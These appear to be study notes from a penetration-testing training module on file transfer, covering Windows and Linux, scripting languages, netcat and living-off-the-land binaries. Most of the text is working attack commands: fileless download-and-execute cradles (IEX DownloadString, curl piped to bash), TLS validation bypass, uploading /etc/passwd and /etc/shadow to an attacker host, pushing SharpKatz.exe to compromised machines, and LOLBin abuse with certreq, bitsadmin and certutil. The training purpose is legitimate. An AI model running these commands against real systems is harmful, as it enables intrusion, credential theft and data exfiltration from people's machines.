May 9, 2025

5 File Transfers

Notes on Windows File Transfer Methods.

Introduction

Understanding Windows file transfer methods aids attackers in evading detection and defenders in monitoring and securing systems.
Example: Microsoft Astaroth Attack, an advanced persistent threat (APT) using fileless techniques.
- Steps:
  1. Spear-phishing email with URL to an archive containing an LNK file.
  2. LNK file triggers WMIC with “/Format” to download and execute malicious JavaScript.
  3. JavaScript uses Bitsadmin to download base64-encoded payloads.
  4. Certutil decodes payloads into DLLs; regsvr32 loads a DLL, injecting the final payload into the Userok process.
- Fileless Threats: Run in memory to avoid detection, not stored as traditional files.

File Transfer Methods

PowerShell Base64 Encode & Decode

Purpose: Transfer files without network communication by encoding to base64.
Process:
- Encode on source (e.g., Linux):
```
cat id_rsa | base64 -w 0
```
- Decode on Windows:
```
[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("<base64_string>"))
```
- Verify integrity with MD5:
  - Linux: md5sum id_rsa
  - Windows: Get-FileHash -Path C:\Users\Public\id_rsa -Algorithm MD5
Limitations:
- CMD string limit: 8,191 characters.
- Web shells may fail with large strings.

PowerShell Web Downloads

Context: HTTP/HTTPS often allowed, enabling web-based transfers.

Methods:

System.Net.WebClient:

DownloadFile:

(New-Object Net.WebClient).DownloadFile('https://<URL>', '<OutputPath>')

DownloadString (fileless):

IEX (New-Object Net.WebClient).DownloadString('https://<URL>')

Invoke-WebRequest (PowerShell 3.0+):
- Slower, supports aliases (iwr, wget).
- Example:
```
Invoke-WebRequest https://<URL> -OutFile <OutputPath>
```

Errors:

IE Configuration: Bypass with -UseBasicParsing.

Invoke-WebRequest https://<URL> -UseBasicParsing | IEX

SSL/TLS: Bypass certificate validation.

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }

Resources: Harmjoy’s PowerShell download cradles for nuanced options.

SMB Downloads

Protocol: SMB on TCP/445, common in Windows networks.

Setup:

Create SMB server (Pwnbox):

sudo impacket-smbserver share -smb2support /tmp/smbshare

Copy file:
```
copy \\<IP>\share\nc.exe
```

Authentication:

Newer Windows blocks guest access.

Use credentials:

sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

net use n: \\<IP>\share /user:test test
copy n:\nc.exe

FTP Downloads

Protocol: FTP on TCP/20, TCP/21.

Setup:

Install/run FTP server:

sudo pip3 install pyftpdlib
sudo python3 -m pyftpdlib --port 21

Download with PowerShell:

(New-Object Net.WebClient).DownloadFile('ftp://<IP>/file.txt', 'C:\file.txt')

Non-interactive FTP:

Create ftpcommand.txt:

echo open <IP> > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt

Execute:
```
ftp -v -n -s:ftpcommand.txt
```

Upload Operations

Purpose: Exfiltrate files for analysis or cracking.

Methods:

PowerShell Base64 Encode:

Encode on Windows:

[Convert]::ToBase64String((Get-Content -Path "C:\Windows\system32\drivers\etc\hosts" -Raw -Encoding Byte))

Decode on Linux:

echo <base64_string> | base64 -d > hosts
md5sum hosts

PowerShell Web Uploads:

Use uploadserver:

pip3 install uploadserver
python3 -m uploadserver

Upload:

Invoke-FileUpload -Uri http://<IP>:8000/upload -File C:\Windows\System32\drivers\etc\hosts

Base64 with Netcat:

$b64 = [Convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Raw -Encoding Byte))
Invoke-WebRequest -Uri http://<IP>:8000/ -Method POST -Body $b64

nc -lvnp 8000
echo <base64_string> | base64 -d > hosts

FTP Upload:

PowerShell:

(New-Object Net.WebClient).UploadFile('ftp://<IP>/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

Non-interactive:

echo open <IP> > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT C:\Windows\System32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

SMB Uploads:

SMB over HTTP (WebDav):

Install WebDav:

sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

Connect/upload:

dir \\<IP>\DavWWWRoot
copy C:\file.txt \\<IP>\DavWWWRoot

Note: Outbound SMB (TCP/445) often blocked, making WebDav a workaround.

Notes on Linux File Transfer Methods

Introduction

Linux offers versatile tools for file transfers, benefiting both attackers (evading detection) and defenders (securing systems).
Example: Incident response on web servers revealed threat actors exploiting SQL injection to deploy a Bash script. The script attempted malware downloads via:
1. cURL
2. wget
3. Python (all using HTTP).
Common Protocols: Malware often uses HTTP/HTTPS; Linux also supports FTP and SMB, but HTTP/HTTPS dominates.

Download Operations

Scenario: Transfer files from Pwnbox to a compromised Linux machine (NX04).

Base64 Encoding/Decoding

Purpose: Transfer files without network communication by encoding to base64.

Process:

Check file integrity (Pwnbox):

md5sum id_rsa
# Output: 4e301756a07ded0a2dd6953abf015278 id_rsa

Encode to base64:

cat id_rsa | base64 -w 0; echo
# Output: LS0tLS1CRUdJTtBPUEVOU1NIIFBSSVZBVEUgS0VZLS0t...

Decode on target:

echo -n '<base64_string>' | base64 -d > id_rsa

Verify integrity:

md5sum id_rsa
# Output: 4e301756a07ded0a2dd6953abf015278 id_rsa

Note: Reverse operation (encode on target, decode on Pwnbox) supports uploads.

Web Downloads with `wget` and `cURL`

Tools: wget and cURL, common in Linux distributions.

Commands:

wget:

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

cURL:

curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Difference: wget uses -O (uppercase); cURL uses -o (lowercase) for output filename.

Fileless Attacks

Concept: Execute scripts without saving to disk using pipes.

Examples:

cURL:

curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

wget (Python script):

wget -qO- https://raw.githubusercontent.com/guliourena/plaintext/master/hello.py | python
# Output: hello World!

Note: Some payloads (e.g., mhillo) may create temporary files despite fileless execution.

Download with Bash (`/dev/tcp`)

Use Case: When wget or cURL are unavailable, use Bash (version 2.04+ with --enable-net-redirections).

Process:

Connect to web server:
```
exec 3<>/dev/tcp/10.10.10.32/80
```

Send HTTP GET request:

echo -e "GET /LinEnum.sh HTTP/1.1\n\n" >&3

Read response:
```
cat <&3
```

SSH Downloads

Protocol: SCP (secure copy) over SSH for secure file transfers.

Setup Pwnbox SSH Server:

Enable:
```
sudo systemctl enable ssh
```
Start:
```
sudo systemctl start ssh
```

Verify:

netstat -lnpt
# Output: TCP 0.0.0.0:22 LISTEN

Download with SCP:

scp plaintext@192.168.49.128:/root/myroot.txt .

Note: Use temporary accounts to avoid exposing primary credentials.

Upload Operations

Purpose: Exfiltrate files (e.g., for binary exploitation or packet analysis).
Methods: Reuse download techniques for uploads.

Web Upload

Tool: uploadserver (Python module) with HTTPS support.

Setup:

Install:

sudo python3 -m pip install --user uploadserver

Create self-signed certificate:

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048

Start server:

mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate /server.pem

Upload from target:

curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

Note: --insecure used for self-signed certificate.

Alternative Web File Transfer

Concept: Use Python, PHP, or Ruby to host a web server on the target for file access.

Commands:

Python3:

python3 -m http.server
# Serves on 0.0.0.0:8000

Python2.7:
```
python2.7 -m SimpleHTTPServer
```
PHP:
```
php -S 0.0.0.0:8000
```
Ruby:
```
ruby -run -ehttpd . -p8000
```

Download from Pwnbox:

wget 192.168.49.128:8000/filetotransfer.txt

Note: Inbound traffic may be blocked; this method downloads from target to Pwnbox, not uploads.

SCP Upload

Use Case: SSH (TCP/22) allowed for outbound connections.

Command:

scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/

Note: SCP syntax mirrors cp; requires SSH server on destination.

Notes on Transferring Files with Code

Introduction

Common programming languages (Python, PHP, Perl, Ruby, JavaScript, VBScript) are often available on Linux and sometimes Windows, enabling file transfer operations.
Windows supports JavaScript/VBScript via cscript.exe or wscript.exe.
Approximately 700 programming languages exist, offering flexibility for file transfers and OS interactions.

Download Operations

Python

Versions: Python 3 (current), Python 2.7 (legacy, still found on some servers).
Method: Use -c for one-liners.

Examples:

Python 2.7:

python2.7 -c 'import urllib; urllib.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

Python 3:

python3 -c 'import urllib.request; urllib.request.urlretrieve("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

PHP

Prevalence: Used by ~77.4% of websites with known server-side languages (W3Techs).

Methods:

file_get_contents and file_put_contents:

php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh", $file);'

fopen:

php -r 'const BUFFER = 1024; $fremote = fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while($buffer = fread($fremote, BUFFER)) fwrite($flocal, $buffer); fclose($fremote); fclose($flocal);'

Fileless (pipe to Bash):

php -r '$lines = @file("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); echo implode("", $lines);' | bash

Note: @file treats URLs as filenames if fopen wrappers are enabled.

Ruby

Method: Use -e for one-liners.

Example:

ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'

Perl

Method: Use -e for one-liners.

Example:

perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh")'

JavaScript (Windows)

Method: Use cscript.exe to run JavaScript for downloads.

Code (wget.js):

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));

Execution:

cscript.exe /nologo wget.js https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 PowerView.ps1

VBScript (Windows)

Context: Default in Windows since Windows 98.

Code (wget.vbs):

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with

Execution:

cscript.exe /nologo wget.vbs https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 PowerView.ps1

Upload Operations

Python 3

Tool: requests module for HTTP POST requests.

Setup: Start uploadserver on Pwnbox:

python3 -m uploadserver
# Serves on 0.0.0.0:8000

One-liner:

python3 -c 'import requests; requests.post("http://192.168.49.128:8000/upload", files={"files": open("/etc/passwd", "rb")})'

Expanded Code:

import requests
URL = "http://192.168.49.128:8000/upload"
file = open("/etc/passwd", "rb")
r = requests.post(URL, files={"files": file})

Note: Adaptable to other languages by building similar upload logic.

Notes on Miscellaneous File Transfer Methods

Introduction

Extends previous Windows/Linux file transfer methods and programming language approaches with additional techniques using Netcat, Ncat, PowerShell Remoting, and RDP.

Netcat and Ncat

Overview

Netcat (nc): Networking utility (1995, Hobbit) for TCP/UDP connections, unmaintained but widely used.
Ncat: Modern Nmap Project reimplementation with SSL, IPv6, SOCKS/HTTP proxies, and connection brokering.
Note: On HackTheBox Pwnbox, nc, ncat, and netcat all refer to Ncat.

File Transfer with Netcat/Ncat

Scenario: Transfer SharpKatz.exe from Pwnbox to a compromised machine.
Method 1: Compromised Machine Listens
- Compromised Machine (listen):
  - Netcat:
```
nc -l -p 8000 > SharpKatz.exe
```
  - Ncat:
```
ncat -l -p 8000 --recv-only > SharpKatz.exe
```
- Pwnbox (send):
  - Netcat:
```
nc -q 0 192.168.49.128 8000 < SharpKatz.exe
```
  - Ncat:
```
ncat --send-only 192.168.49.128 8000 < SharpKatz.exe
```
- Notes:
  - -q 0: Closes connection after transfer (Netcat).
  - --recv-only/--send-only: Ensures connection closes post-transfer (Ncat).

Method 2: Pwnbox Listens (Bypasses Inbound Firewall)

Pwnbox (listen):

Netcat:
```
sudo nc -l -p 443 -q 0 < SharpKatz.exe
```

Ncat:

sudo ncat -l -p 443 --send-only < SharpKatz.exe

Compromised Machine (connect):

Netcat:
```
nc 192.168.49.128 443 > SharpKatz.exe
```

Ncat:

ncat 192.168.49.128 443 --recv-only > SharpKatz.exe

Method 3: Bash /dev/tcp (No Netcat/Ncat on Compromised Machine)

Pwnbox (listen):

Netcat:
```
sudo nc -l -p 443 -q 0 < SharpKatz.exe
```

Ncat:

sudo ncat -l -p 443 --send-only < SharpKatz.exe

Compromised Machine (connect):

cat < /dev/tcp/192.168.49.128/443 > SharpKatz.exe

Note: Reverse operation transfers files from compromised machine to Pwnbox.

PowerShell Remoting (WinRM)

Context: Used when HTTP/HTTPS/SMB are unavailable; leverages PowerShell Remoting (WinRM) for remote command execution and file transfers.
Requirements: Administrative access, Remote Management Users group membership, or explicit permissions; enabled by default with HTTP (TCP/5985) and HTTPS (TCP/5986) listeners.
Scenario: Transfer files between DC01 (source) and DATABASE01 (target) with administrative privileges.

Steps:

Verify WinRM connectivity (from DC01):

whoami
# Output: htb\administrator
hostname
# Output: DC01
Test-NetConnection -ComputerName DATABASE01 -Port 5985
# Output: TcpTestSucceeded: True

Create session:

$Session = New-PSSession -ComputerName DATABASE01

Transfer files:

DC01 to DATABASE01:

Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop

DATABASE01 to DC01:

Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -FromSession $Session -Destination C:\htb

RDP (Remote Desktop Protocol)

Context: Common in Windows for remote access; supports file transfers via copy-paste or drive mounting.
Methods:
- Copy-Paste:
  - Right-click to copy files from target Windows machine and paste into RDP session.
  - Linux clients (xfreerdp, rdesktop) support copy from target to session, but functionality may be inconsistent.
- Drive Mounting:
  - Linux (mount local folder):
    - rdesktop:
```
rdesktop 10.10.10.132 -d HTB -u administrator -p 'Password00' -r disk:linux=/home/user
```
    - xfreerdp:
```
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password00' /drive:linux,/home/user
```
    - Access via \\tsclient\linux in RDP session.
  - Windows (native mstsc.exe):
    - Enable drive in Remote Desktop Connection settings (Local Resources > More > Drives).
    - Interact with drive in remote session.
  - Note: Mounted drive is exclusive to the RDP session user, preventing access by others, even if session is hijacked.

Practical Applications

Use Cases:
- Active Directory Enumeration and Attacks (Skills Assessments 1 & 2).
- Pivoting, Tunneling & Port Forwarding module.
- Attacking Enterprise Networks module.
- Shells & Payloads module.
Recommendation: Practice all techniques to build “muscle memory” for varied environments with restrictions (e.g., blocked protocols).

Notes on Living off the Land

Introduction

Living off the Land (LotL): Coined by Christopher Campbell and Matt Graeber at DerbyCon 3, refers to using native system binaries for malicious purposes.
LOLBins: Living off the Land Binaries, repurposed for unintended functions (term from Twitter discussions).
Resources:
- LOLBAS: Windows binaries (lolbas-project.github.io).
- GTFOBins: Linux binaries (gtfobins.github.io).
Functions: Download, upload, command execution, file read/write, and bypasses.
Focus: Download/upload using LOLBAS and GTFOBins.

Using LOLBAS and GTFOBins

LOLBAS (Windows)

Search: Use /download or /upload on lolbas-project.github.io.
Examples:
- CertReq.exe (Download):
- ConfigSecurityPolicy.exe (Upload)
- DataSvcUtil.exe (Upload)
Example: CertReq.exe Upload:
- Pwnbox (listen):
```
sudo nc -lvnp 8000
```
- Compromised Machine:
```
certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.ini
```
- Output: File content (e.g., win.ini) received in Netcat session.
- Note: Older certreq.exe versions may lack -Post; download updated version if needed.

GTFOBins (Linux)

Search: Use +file download or +file upload on gtfobins.github.io.
Examples:
- Binaries: ab, bash, curl, scp, socat, ssh, wget.
- Functions: File download/upload, SUID, sudo.

Example: OpenSSL Download:

Pwnbox (create certificate and start server):

openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem

Compromised Machine (download):

openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh

Other Common LotL Tools

Bitsadmin (Windows)

Purpose: Background Intelligent Transfer Service (BITS) downloads files from HTTP/SMB, minimizing impact on user tasks.

Example:

bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\htb\nc.exe

PowerShell BITS:

Import-Module bitstransfer; Start-BitsTransfer -Source "http://10.10.10.32:8000/nc.exe" -Destination "C:\htb\nc.exe"

Features: Supports credentials, proxy servers, uploads.

Certutil (Windows)

Purpose: Downloads arbitrary files, widely available but detected by Antimalware Scan Interface (AMSI) as malicious.

Example:

certutil.exe -verifyctl -split -f http://10.10.10.32:8000/nc.exe

Practice Recommendations

Explore LOLBAS/GTFOBins for obscure binaries to build versatile file transfer skills.
Useful for assessments where common methods are restricted.
Document techniques for quick reference during engagements.

5 File Transfers

Notes on Windows File Transfer Methods.

Introduction

File Transfer Methods

PowerShell Base64 Encode & Decode

PowerShell Web Downloads

SMB Downloads

FTP Downloads

Upload Operations

Notes on Linux File Transfer Methods

Introduction

Download Operations

Base64 Encoding/Decoding

Web Downloads with wget and cURL

Fileless Attacks

Download with Bash (/dev/tcp)

SSH Downloads

Upload Operations

Web Upload

Alternative Web File Transfer

SCP Upload

Notes on Transferring Files with Code

Introduction

Download Operations

Python

PHP

Ruby

Perl

JavaScript (Windows)

VBScript (Windows)

Upload Operations

Python 3

Notes on Miscellaneous File Transfer Methods

Introduction

Netcat and Ncat

Overview

File Transfer with Netcat/Ncat

PowerShell Remoting (WinRM)

RDP (Remote Desktop Protocol)

Practical Applications

Notes on Living off the Land

Introduction

Using LOLBAS and GTFOBins

LOLBAS (Windows)

GTFOBins (Linux)

Other Common LotL Tools

Bitsadmin (Windows)

Certutil (Windows)

Practice Recommendations

Web Downloads with `wget` and `cURL`

Download with Bash (`/dev/tcp`)